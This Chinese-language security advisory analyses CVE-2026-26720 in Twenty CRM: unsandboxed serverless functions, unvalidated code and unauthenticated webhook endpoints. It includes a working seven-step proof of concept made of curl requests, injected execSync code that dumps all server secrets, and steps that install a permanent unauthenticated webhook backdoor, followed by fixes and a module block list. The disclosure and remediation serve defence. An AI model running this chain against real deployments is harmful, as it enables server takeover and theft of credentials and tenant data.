我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

Twenty CRM 无服务器函数引入严重 RCE 与永久性未认证后门风险(CVE-2026-26720)——PoC 与漏洞利用

对 CVE-2026-26720 的技术剖析:这是 Twenty CRM(≤ v1.15.0)中一个 CVSS 9.8 严重级别、需认证的远程代码执行漏洞。任何工作区成员都可以创建并执行无沙箱的无服务器函数,这些函数可完全访问 process.env,从而泄露 APP_SECRET、PG_DATABASE_URL 以及所有服务器端凭据。当与通过 PublicEndpointGuard 暴露的 webhook 触发型工作流相结合时,单个经过认证的攻击者即可安装一个永久性的、无需认证的 RCE 后门,可从互联网任何位置访问。

Exploit CVE-2026-26720

通过无沙箱的无服务器函数实现需认证的 RCE → 永久性未认证后门

2026 年 3 月 3 日 · CVSS 9.8 严重 · Twenty CRM ≤ v1.15.0

CVE ID CVSS 受影响版本 修复版本
CVE-2026-26720 9.8 严重 Twenty CRM ≤ v1.15.0 Twenty CRM v1.15.1

Twenty CRM 是一个开源 CRM 平台,拥有超过 28k 个 GitHub star,并提供托管云服务。它允许工作区成员创建“无服务器函数”——在服务器上运行的自定义 TypeScript 代码。问题在于:这些函数在一个裸的 child_process.spawn() 中执行,没有沙箱、没有代码限制,并且完全继承了父进程环境。接下来将剖析任何经过认证的用户——包括在云端刚刚自行注册的账户——如何实现完整的服务器端 RCE、窃取服务器上的每一个密钥,并安装一个无需任何认证即可触发的永久性后门。

CVE-2026-26720 执行摘要:无沙箱的无服务器函数执行

CVE-2026-26720 是 Twenty CRM 中三个漏洞组成的一条链,它们共同造成 CVSS 9.8 严重级别的影响:

  1. 无沙箱的代码执行 —— 无服务器函数通过 spawn(process.execPath, ...) 并带 { ...process.env, ...env } 运行,使得用户提供的代码可以完全访问 child_process、fs、net 以及每一个服务器环境变量(APP_SECRET、PG_DATABASE_URL、REDIS_URL)。

  2. 没有代码校验 —— updateOneServerlessFunction mutation 接受任意 TypeScript 代码,且没有任何静态分析、AST 限制或模块导入黑名单。execSync、spawn、fs.readFileSync——全部被允许。

  3. 未认证的 Webhook 端点 —— POST /webhooks/workflows/:workspaceId/:workflowId 端点由 PublicEndpointGuard 和 NoPermissionGuard 守护,而二者都无条件返回 true。一旦攻击者将恶意的无服务器函数接入一个 webhook 触发型工作流,互联网上的任何 HTTP 客户端都可以永久地、在没有任何凭据的情况下触发它。

影响:完整的远程代码执行。任何工作区成员(包括自行注册的云端账户)都可以窃取所有服务器密钥、直接访问数据库、读写文件系统,并安装一个永久性的、无需认证的后门——全部通过产品本身设计的功能实现,且漏洞利用复杂度为零。

漏洞 #1:完全继承环境的无沙箱代码执行

汇聚点(Sink)—— local.driver.ts 第 288 行

核心漏洞位于无服务器函数的执行引擎中。当一个函数被执行时,LocalDriver 会派生出一个子 Node.js 进程:

// packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts

const child = spawn(process.execPath, [runnerPath], {
  env: { ...process.env, ...env },    // ALL server secrets passed to child
  stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});

process.env 被直接展开到子进程环境中。这意味着 Twenty 服务器进程可访问的每一个密钥——APP_SECRET、PG_DATABASE_URL、REDIS_URL、云服务商凭据、SMTP 密码——都可以被用户提供的代码通过 process.env 访问。

这里没有沙箱。没有 vm2、没有 isolated-vm、没有 Docker 容器、没有限制性的 seccomp 配置。子进程以与服务器相同的操作系统用户身份运行,拥有相同的文件系统访问权限、相同的网络访问权限以及相同的凭据。

没有导入限制

updateOneServerlessFunction mutation 接受任意 TypeScript 代码,并在不加任何限制的情况下进行编译:

// packages/twenty-server/src/engine/metadata-modules/serverless-function/serverless-function.resolver.ts

@Mutation(() => ServerlessFunctionDTO)
@UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))
async updateOneServerlessFunction(
  @Args('input') input: UpdateServerlessFunctionInput,
  @AuthWorkspace() { id: workspaceId }: WorkspaceEntity,
) {
  return await this.serverlessFunctionService.updateOneServerlessFunction(
    input,       // <-- attacker-controlled code, no validation
    workspaceId,
  );
}

该守卫是 SettingsPermissionGuard(PermissionFlagType.WORKFLOWS)——任何拥有 WORKFLOWS 权限(默认授予所有成员)的工作区成员都可以在服务器上创建并执行任意代码。这里没有 AST 分析,没有危险模块(child_process、fs、net、os)的黑名单,也没有任何内容安全限制。

环境泄露路径

        Authenticated user
                      |
        createOneServerlessFunction (GraphQL mutation)
                      |
        updateOneServerlessFunction (inject code: execSync("id"))
                      |
        executeOneServerlessFunction (GraphQL mutation)
                      |
        serverlessFunctionService.execute()
                      |
        LocalDriver.execute()
                      |
        LocalDriver.runChildWithEnv()
                      |
        spawn(process.execPath, [runnerPath], { env: { ...process.env } })
                      |
        User code runs with ALL server secrets in process.env
                      |
        RCE + full secret exfiltration

漏洞 #2:通过 Webhook 端点实现的永久性未认证后门

入口点 —— 任何层级都没有认证

webhook 触发控制器在没有任何认证的情况下,将工作流执行能力暴露给互联网:

// packages/twenty-server/src/engine/core-modules/workflow/controllers/workflow-trigger.controller.ts

@Controller('webhooks')
export class WorkflowTriggerController {

  @Post('workflows/:workspaceId/:workflowId')
  @UseGuards(PublicEndpointGuard, NoPermissionGuard)   // NO AUTH
  async runWorkflowByPostRequest(
    @Param('workspaceId') workspaceId: string,
    @Param('workflowId') workflowId: string,
    @Req() request: Request,
  ) {
    return await this.runWorkflow({
      workflowId,
      payload: request.body || {},
      workspaceId,
    });
  }
}

两个守卫都无条件返回 true:

// packages/twenty-server/src/engine/guards/public-endpoint.guard.ts

@Injectable()
export class PublicEndpointGuard implements CanActivate {
  canActivate(_context: ExecutionContext): boolean {
    return true;   // Always allow access
  }
}
// packages/twenty-server/src/engine/guards/no-permission.guard.ts

@Injectable()
export class NoPermissionGuard implements CanActivate {
  canActivate(_context: ExecutionContext): boolean {
    return true;   // No permission checks
  }
}

没有令牌。没有签名。没有 IP 白名单。webhook 端点上也没有任何速率限制。一旦某个经过认证的用户创建了一个指向恶意无服务器函数的 webhook 触发型工作流,所产生的 URL 就是一个永久性的、未认证的 RCE 端点:

POST /webhooks/workflows/<workspaceId>/<workflowId>

另一个未认证入口:RouteTriggerController

第二个未认证的控制器暴露了相同的风险面:

// packages/twenty-server/src/engine/metadata-modules/route-trigger/route-trigger.controller.ts

@Controller('s')
@UseGuards(PublicEndpointGuard, NoPermissionGuard)   // NO AUTH on entire controller
export class RouteTriggerController {
  @Post('*path')
  async post(@Req() request: Request) {
    return await this.routeTriggerService.handle({
      request, httpMethod: HTTPMethod.POST,
    });
  }
}

如果存在一个 isAuthRequired: false 的 RouteTrigger,那么任何发往 /s/<path> 的 HTTP 请求都会在没有任何认证的情况下直接执行其关联的无服务器函数。

CVE-2026-26720 概念验证:完整的远程代码执行

完整的攻击链——从经过认证的工作区成员,到完全攻陷服务器并植入永久性未认证后门——只需要 7 个 HTTP 请求。每一步都在一个受控的实验环境中针对 Twenty CRM v1.15.0 得到了验证。

实验环境搭建

以默认配置在本地运行的 Twenty CRM v1.15.0:

# docker-compose equivalent
services:
  twenty-server:
    image: twentycrm/twenty:v1.15.0
    ports:
      - "3000:3000"     # API
      - "3001:3001"     # Frontend
    environment:
      APP_SECRET: "replace_me_with_a_random_string"
      PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default"
      REDIS_URL: "redis://localhost:6379"

前置条件

一个有效的工作区成员账户。在 Twenty Cloud 上,这是任何已注册的用户。在自托管部署中,这是任何被邀请的成员。下文使用的 JWT 令牌属于工作区 2782b9df-... 中的用户 tim@apple.dev。

第 1 步:创建无服务器函数(需认证)

curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{
    "query": "mutation CreateFn($input: CreateServerlessFunctionInput!) {
      createOneServerlessFunction(input: $input) { id name }
    }",
    "variables": { "input": { "name": "pwn-rce" } }
  }'
{
  "data": {
    "createOneServerlessFunction": {
      "id": "679110bc-1536-4349-82c7-2a5706cc6a49",
      "name": "pwn-rce"
    }
  }
}

第 2 步:注入恶意代码(需认证)

注入的代码导入 child_process.execSync 并转储完整的服务器环境:

import { execSync } from 'child_process';

export const main = async (params: any): Promise<object> => {
  const cmd = params?.command ?? 'id && hostname';
  const out = execSync(String(cmd)).toString();
  const env = JSON.stringify(process.env);
  return { out, env };
};
curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{
    "query": "mutation UpdateFn($input: UpdateServerlessFunctionInput!) {
      updateOneServerlessFunction(input: $input) { id name }
    }",
    "variables": {
      "input": {
        "id": "679110bc-1536-4349-82c7-2a5706cc6a49",
        "update": {
          "name": "pwn-rce",
          "code": {
            "src/index.ts": "import { execSync } from '\''child_process'\'';\nexport const main = async (params: any): Promise<object> => {\n  const cmd = params?.command ?? '\''id && hostname'\'';\n  const out = execSync(String(cmd)).toString();\n  const env = JSON.stringify(process.env);\n  return { out, env };\n};"
          }
        }
      }
    }
  }'
{
  "data": {
    "updateOneServerlessFunction": {
      "id": "679110bc-1536-4349-82c7-2a5706cc6a49",
      "name": "pwn-rce"
    }
  }
}

没有校验。没有 AST 检查。没有被屏蔽的导入。代码被原样接受并存储。

第 3 步:执行 —— 确认需认证的 RCE

curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{
    "query": "mutation ExecFn($input: ExecuteServerlessFunctionInput!) {
      executeOneServerlessFunction(input: $input) { data logs status error }
    }",
    "variables": {
      "input": {
        "id": "679110bc-1536-4349-82c7-2a5706cc6a49",
        "payload": { "command": "id && hostname && cat /etc/passwd | head -5" },
        "version": "draft"
      }
    }
  }'

响应 —— data.out(操作系统命令输出):

uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

响应 —— data.env(所有服务器密钥被窃取):

{
  "APP_SECRET": "replace_me_with_a_random_string",
  "PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
  "REDIS_URL": "redis://localhost:6379"
}

需认证的 RCE 已确认 —— 实现了完整的命令执行和完整的服务器环境窃取。任何拥有 WORKFLOWS 权限(所有成员默认拥有)的工作区成员都可以执行此操作。

第 4-6 步:安装永久性未认证后门

在拥有已认证访问权限后,攻击者现在创建一个接入恶意无服务器函数的 webhook 触发型工作流:

第 4 步 —— 创建工作流 + 设置 WEBHOOK 触发器:

# Create workflow
curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{"query": "mutation { createWorkflow(data: { name: \"pwn-webhook\" }) { id name } }"}'
{"data":{"createWorkflow":{"id":"52ecef24-026d-48b0-a64b-8276570e25dd","name":"pwn-webhook"}}}

第 5 步 —— 添加指向恶意函数的 CODE 步骤、接入触发器、发布函数:

# Publish serverless function
curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{"query": "mutation { publishServerlessFunction(input: { id: \"679110bc-1536-4349-82c7-2a5706cc6a49\" }) { id publishedVersions } }"}'
{"data":{"publishServerlessFunction":{"id":"679110bc-1536-4349-82c7-2a5706cc6a49","publishedVersions":["1"]}}}

该工作流版本被配置为使用 WEBHOOK 触发器类型、一个引用恶意函数的 CODE 步骤,以及一条将触发器 → 步骤连接起来的边。

第 6 步 —— 激活工作流:

curl -s http://localhost:3000/graphql -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  --data-binary '{"query": "mutation { activateWorkflowVersion(workflowVersionId: \"b4c8976f-dcb8-47ab-af50-2d20414577e6\") }"}'
{"data":{"activateWorkflowVersion":true}}

第 7 步:未认证的 RCE —— 无需任何凭据

后门现在已永久生效。互联网上的任何 HTTP 客户端都可以触发它:

# NO Authorization header — completely unauthenticated
curl -s -X POST \
  "http://localhost:3000/webhooks/workflows/2782b9df-4dd8-4deb-9f81-e60020b6d78f/52ecef24-026d-48b0-a64b-8276570e25dd" \
  -H "Content-Type: application/json" \
  -d '{"command": "id && whoami && cat /etc/passwd | head -5"}'

即时响应(没有认证检查):

{
  "workflowName": "pwn-webhook",
  "success": true,
  "workflowRunId": "ccdfb94d-1566-44f2-a5ce-ab0222fffab3"
}

工作流运行结果(来自服务器日志 / 数据库):

uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

服务器密钥(同样的完整转储 —— 全部通过未认证请求被窃取):

{
  "APP_SECRET": "replace_me_with_a_random_string",
  "PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
  "REDIS_URL": "redis://localhost:6379"
}

已实现完整的命令执行 —— 无需任何认证。该 webhook URL 是一个永久性后门:没有令牌、没有签名、没有过期时间。一旦创建,它便一直存在,直到该工作流被手动删除。

攻击面分析

谁能利用此漏洞?

部署方式 初始访问 可利用?
自托管(多工作区) 任何已注册用户 可以 —— 完全攻陷服务器
自托管(单工作区) 任何被邀请的工作区成员 可以 —— 从成员提升到完全控制服务器的权限提升

影响链

Workspace member (low privilege)
        ↓
Create serverless function        ← intended feature, no exploit needed
        ↓
Inject execSync / spawn code      ← no validation, no sandbox
        ↓
Execute function                  ← runs as server user, inherits process.env
        ↓
Exfiltrate APP_SECRET,            ← full secret dump
PG_DATABASE_URL, REDIS_URL
        ↓
Direct database access            ← read/modify all workspaces, all tenants
        ↓
Create webhook workflow           ← permanent unauthenticated backdoor
        ↓
Any internet client fires webhook ← zero auth, zero credentials, forever

如何修复 CVE-2026-26720

要完全修复这条漏洞链,需要三个相互独立的修复:

修复 1:对无服务器函数执行进行沙箱隔离

无服务器函数运行时必须与宿主进程隔离。子进程绝不应继承父进程的环境变量。

// BEFORE (vulnerable): full environment inheritance
const child = spawn(process.execPath, [runnerPath], {
  env: { ...process.env, ...env },   // ALL server secrets leaked
  stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});

// AFTER (fixed): isolated environment — only explicit variables
const child = spawn(process.execPath, [runnerPath], {
  env: {
    NODE_PATH: process.env.NODE_PATH,
    PATH: process.env.PATH,
    ...env,                           // only workspace-specific vars
  },
  stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});

为实现纵深防御,应在一个隔离容器(Docker/gVisor/Firecracker)中执行函数,并配备:

  • 只读文件系统(/tmp 除外)
  • 无法访问内部服务的网络
  • CPU/内存限制
  • 独立的非特权用户

修复 2:校验无服务器函数代码

在编译之前,为 Node.js 模块导入实现黑名单或白名单:

const BLOCKED_MODULES = [
  'child_process', 'cluster', 'dgram', 'dns', 'net',
  'tls', 'vm', 'worker_threads', 'fs', 'os',
];

// Parse AST and reject any import/require of blocked modules

修复 3:对 Webhook 端点进行认证

webhook 触发端点必须要求认证——至少要有一个针对每个工作流的 HMAC 签名:

// BEFORE (vulnerable): no authentication
@UseGuards(PublicEndpointGuard, NoPermissionGuard)

// AFTER (fixed): require webhook signature
@UseGuards(WebhookSignatureGuard)
async runWorkflowByPostRequest(...)

每个 webhook 触发型工作流都应拥有一个唯一的密钥,且传入的请求必须包含一个有效的 X-Webhook-Signature 头。没有有效签名的请求必须以 401\ 被拒绝。

CVE-2026-26720 缓解措施与最佳实践

  • 立即更新 —— 当补丁版本发布时立即更新。密切关注 Twenty CRM 的 GitHub 仓库和更新日志。
  • 限制无服务器函数 —— 如果您的部署不需要自定义无服务器函数,请完全禁用该功能,或将 WORKFLOWS 权限限制为仅限管理员。
  • 审计现有函数 —— 审查工作区中所有无服务器函数是否存在可疑的导入(child_process、fs、net)。检查工作区 schema 中的 _metadata.serverlessFunction 表。
  • 对 Webhook 端点设置防火墙 —— 在修复可用之前,于反向代理层面阻止对 /webhooks/workflows/* 和 /s/* 的外部访问。
  • 轮换密钥 —— 如果您的实例在启用无服务器函数的情况下曾公开可访问,请假定所有环境变量均已泄露。轮换 APP_SECRET、数据库凭据、Redis 凭据、SMTP 密码以及任何 API 密钥。
  • 监控工作流活动 —— 审计 workflowRun 表中是否存在意外的执行,尤其是那些 source: WEBHOOK 且没有对应合法集成的执行。

参考资料

资源 链接
Twenty CRM GitHub https://github.com/twentyhq/twenty
Twenty CRM v1.15.0 发布页 https://github.com/twentyhq/twenty/releases/tag/v1.15.0
NestJS Guards 文档 https://docs.nestjs.com/guards
OWASP —— Injection https://owasp.org/Top10/A03_2021-Injection/
CWE-94: Code Injection https://cwe.mitre.org/data/definitions/94.html
CWE-250: Execution with Unnecessary Privileges https://cwe.mitre.org/data/definitions/250.html